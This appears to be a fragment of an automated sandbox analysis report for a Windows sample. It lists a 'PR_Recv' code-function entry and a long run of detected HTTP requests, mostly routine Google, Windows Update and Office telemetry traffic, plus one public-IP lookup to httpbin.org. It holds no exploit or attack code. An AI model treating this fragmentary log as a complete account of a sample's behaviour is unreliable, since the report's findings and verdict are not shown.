Code function: 0_2_6C59CC60 PR_Recv,

0_2_6C59CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9mLVmDo2tdp7sUT&MD=tTC+sUGa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9mLVmDo2tdp7sUT&MD=tTC+sUGa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
